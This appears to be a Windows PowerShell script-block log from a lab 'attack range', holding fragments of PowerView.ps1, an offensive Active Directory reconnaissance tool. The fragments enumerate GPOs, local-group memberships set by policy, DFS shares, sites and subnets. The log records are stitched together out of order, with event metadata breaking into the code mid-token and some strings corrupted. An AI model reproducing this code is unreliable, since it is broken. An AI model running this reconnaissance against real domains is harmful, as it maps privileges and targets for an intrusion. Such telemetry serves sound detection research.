Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
}
$ObjectDN = $Computer.distinguishedname
$TargetComputerName = $Computer.dnshostname
}
else {
$SearcherArguments['Identity'] = $UserIdentity
$User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
if(-not $User) {
Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
}
$ObjectDN = $User.distinguishedname
}
# extract all OUs the target user/computer is a part of
$ObjectOUs = @()
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
if($_.startswith('OU=')) {
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
}
}
Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
if ($ObjectOUs) {
# find all the GPOs linked to the user/computer's OUs
$SearcherArguments.Remove('Properties')
$InheritanceDisabled = $False
ForEach($ObjectOU in $ObjectOUs) {
$SearcherArguments['Identity'] = $ObjectOU
$GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
# extract any GPO links for this particular OU the computer is a part of
if ($_.gplink) {
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$Parts = $_.split(';')
$GpoDN = $Parts[0]
$Enforced = $Parts[1]
if ($InheritanceDisabled) {
# if inheritance has already been disabled and this GPO is set as "enforced"
# then add it, otherwise ignore it
if ($Enforced -eq 2) {
$GpoDN
}
}
else {
# inheritance not marked as disabled yet
$GpoDN
}
}
}
}
# if this OU has GPO inheritence disabled, break so additional OUs aren't processed
if ($_.gpoptions -eq 1) {
$InheritanceDisabled = $True
}
}
}
}
if ($TargetComputerName) {
# find all the GPOs linked to the computer's site
$ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
$SearcherArguments['Identity'] = $ComputerSite
$GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular site the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
}
}
# find any GPOs linked to the user/computer's domain
$ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
$SearcherArguments.Remove('Identity')
$SearcherArguments.Remove('Properties')
$SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
$GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular domain the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
# restore the old properites to return, if set
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
else { $SearcherArguments.Remove('Properties') }
$SearcherArguments.Remove('Identity')
$GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
# use the gplink as an ADS path to enumerate all GPOs for the computer
$SearcherArguments['SearchBase'] = $_
$SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
Get-DomainObject @SearcherArguments | ForEach-Object {
if ($PSBoundParameters['Raw']) {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$_
}
}
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match 'LDAP://|^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$GPOSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GPOSearcher) {
Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -match '{.*}') {
$IdentityFilter += "(name=$IdentityInstance)"
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(displayname=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() }
else { $Results = $GPOSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$GPO = $_
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
$GPO = Convert-LDAPProperty -Properties $_.Properties
try {
$GPODN = $GPO.distinguishedname
$GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
$GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
}
catch {
Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)"
}
}
else {
$GPO = Convert-LDAPProperty -Properties $_.Properties
}
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$GPO
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_"
}
}
$GPOSearcher.dispose()
}
}
}
}
function Get-DomainGPOLocalGroup {
<#
.SYNOPSIS
Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups'
or Group Policy preferences. Also return their user membership mappings, if they exist.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID
.DESCRIPTION
First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed
arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
group membership is set through Group Policy Preferences groups.xml files. For any
GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
section data is processed if present. Any found Groups.xml files are parsed with
Get-GroupsXML and those memberships are returned as well.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ResolveMembersToSIDs
Switch. Indicates that any member names should be resolved to their domain SIDs.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOLocalGroup
Returns all local groups set by GPO along with their members and memberof.
.EXAMPLE
Get-DomainGPOLocalGroup -ResolveMembersToSIDs
Returns all local groups set by GPO along with their members and memberof,
and resolve any members to their domain SIDs.
.EXAMPLE
'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup
Return any GPO-set groups for the GPO with the given name/GUID.
.EXAMPLE
Get-DomainGPOLocalGroup 'Desktops'
Return any GPO-set groups for the GPO with the given display name.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPOLocalGroup -Credential $Cred
.LINK
https://morgansimonsenblog.azurewebsites.net/tag/groups/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GPOGroup')]
[CmdletBinding()]
Param(
[Parameter(Position = 0e66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122627Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local2644= $Properties.remoteservername
$Pkt = $Properties.pkt
$DFSshares += $RemoteNames | ForEach-Object {
try {
if ( $_.Contains('\') ) {
New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]}
}
}
catch {
Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_"
}
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_"
}
}
$DFSSearcher.dispose()
if ($pkt -and $pkt[0]) {
Parse-Pkt $pkt[0] | ForEach-Object {
# If a folder doesn't have a redirection it will have a target like
# \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match
# on 'null' rather than $Null
if ($_ -ne 'null') {
New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
}
}
}
}
catch {
Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_"
}
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
}
}
function Get-DomainDFSShareV2 {
[CmdletBinding()]
Param(
[String]
$Domain,
[String]
$SearchBase,
[String]
$Server,
[String]
$SearchScope = 'Subtree',
[Int]
$ResultPageSize = 200,
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$DFSsearcher = Get-DomainSearcher @PSBoundParameters
if ($DFSsearcher) {
$DFSshares = @()
$DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))'
$Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
try {
$Results = $DFSSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Properties = $_.Properties
$target_list = $Properties.'msdfs-targetlistv2'[0]
$xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
$DFSshares += $xml.targets.ChildNodes | ForEach-Object {
try {
$Target = $_.InnerText
if ( $Target.Contains('\') ) {
$DFSroot = $Target.split('\')[3]
$ShareName = $Properties.'msdfs-linkpathv2'[0]
New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]}
}
}
catch {
Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_"
}
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
}
}
$DFSSearcher.dispose()
}
catch {
Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_"
}
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
}
}
}
PROCESS {
$DFSshares = @()
if ($PSBoundParameters['Domain']) {
ForEach ($TargetDomain in $Domain) {
$SearcherArguments['Domain'] = $TargetDomain
if ($Version -match 'all|1') {
$DFSshares += Get-DomainDFSShareV1 @SearcherArguments
}
if ($Version -match 'all|2') {
$DFSshares += Get-DomainDFSShareV2 @SearcherArguments
}
}
}
else {
if ($Version -match 'all|1') {
$DFSshares += Get-DomainDFSShareV1 @SearcherArguments
}
if ($Version -match 'all|2') {
$DFSshares += Get-DomainDFSShareV2 @SearcherArguments
}
}
$DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique
}
}
########################################################
#
# GPO related functions.
#
########################################################
function Get-GptTmpl {
<#
.SYNOPSIS
Helper to parse a GptTmpl.inf policy file path into a hashtable.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent
.DESCRIPTION
Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a
GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
is constructed and assumed to be the parse target. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GptTmplPath
Specifies the GptTmpl.inf file path name to parse.
.PARAMETER OutputObject
Switch. Output a custom PSObject instead of a hashtable.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
Parse the default domain policy .inf for dev.testlab.local
.EXAMPLE
Get-DomainGPO testing | Get-GptTmpl
Parse the GptTmpl.inf policy for the GPO with display name of 'testing'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
Parse the default domain policy .inf for dev.testlab.local using alternate credentials.
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed GptTmpl.inf file.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('gpcfilesyspath', 'Path')]
[String]
$GptTmplPath,
[Switch]
$OutputObject,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
$TargetGptTmplPath = $GptTmplPath
if (-not $TargetGptTmplPath.EndsWith('.inf')) {
$TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
}
Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
if ($PSBoundParameters['OutputObject']) {
$Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
if ($Contents) {
$Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
$Contents
}
}
else {
$Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
if ($Contents) {
$Contents['Path'] = $TargetGptTmplPath
$Contents
}
}
}
catch {
Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-GroupsXML {
<#
.SYNOPSIS
Helper to parse a groups.xml file path into a custom object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID
.DESCRIPTION
Parses a groups.xml into a custom object. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GroupsXMLpath
Specifies the groups.xml file path name to parse.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.OUTPUTS
PowerView.GroupsXML
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GroupsXML')]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Path')]
[String]
$GroupsXMLPath,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
[XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
# process all group properties in the XML
$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
$Groupname = $_.Properties.groupName
# extract the localgroup sid for memberof
$GroupSID = $_.Properties.groupSid
if (-not $GroupSID) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
else {
if ($PSBoundParameters['Credential']) {
$GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
}
else {
$GroupSID = ConvertTo-SID -ObjectName $Groupname
}
}
}
# extract out members added to this group
$Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
if ($_.sid) { $_.sid }
else { $_.name }
}
if ($Members) {
# extract out any/all filters...I hate you GPP
if ($_.filters) {
$Filters = $_.filters.GetEnumerator() | ForEach-Object {
New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
}
}
else {
$Filters = $Null
}
if ($Members -isnot [System.Array]) { $Members = @($Members) }
$GroupsXML = New-Object PSObject
$GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
$GroupsXML | Add-Member Noteproperty 'Filters' $Filters
$GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
$GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
$GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
$GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
$GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
$GroupsXML
}
}
}
catch {
Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-DomainGPO {
<#
.SYNOPSIS
Return all GPOs or specific GPO objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all GPO objects for
the current domain are returned. To enumerate all GPOs that are applied to
a particular machine, use -ComputerName X.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ComputerIdentity
Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
.PARAMETER UserIdentity
Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainGPO -Domain testlab.local
Return all GPOs for the testlab.local domain
.EXAMPLE
Get-DomainGPO -ComputerName windows1.testlab.local
Returns all GPOs applied windows1.testlab.local
.EXAMPLE
"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
name of "Test GPO"
.EXAMPLE
Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = Ne66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122621Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local2044('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'SearchBasePrefix' = 'CN=Sites,CN=Configuration'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$SiteSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($SiteSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$SiteSearcher = Get-DomainSearcher @SearcherArguments
if (-not $SiteSearcher) {
Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['GPLink']) {
Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property"
$Filter += "(gplink=*$GPLink*)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$SiteSearcher.filter = "(&(objectCategory=site)$Filter)"
Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() }
else { $Results = $SiteSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Site = $_
}
else {
$Site = Convert-LDAPProperty -Properties $_.Properties
}
$Site.PSObject.TypeNames.Insert(0, 'PowerView.Site')
$Site
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainSite] Error disposing of the Results object"
}
}
$SiteSearcher.dispose()
}
}
}
function Get-DomainSubnet {
<#
.SYNOPSIS
Search for all subnets or specific subnets objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties whencreated,usnchanged,...". By default, all subnet objects for
the current domain are returned.
.PARAMETER Identity
An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'),
or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
.PARAMETER SiteName
Only return subnets from the specified SiteName.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainSubnet
Returns the current subnets in the domain.
.EXAMPLE
Get-DomainSubnet *admin* -Domain testlab.local
Returns all subnets with "admin" in their name in the testlab.local domain.
.EXAMPLE
Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
Returns all subnets with linked to the specified group policy object.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainSubnet -Credential $Cred
.OUTPUTS
PowerView.Subnet
Custom PSObject with translated subnet property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Subnet')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$SiteName,
[ValidateNotNullOrEmpty()]
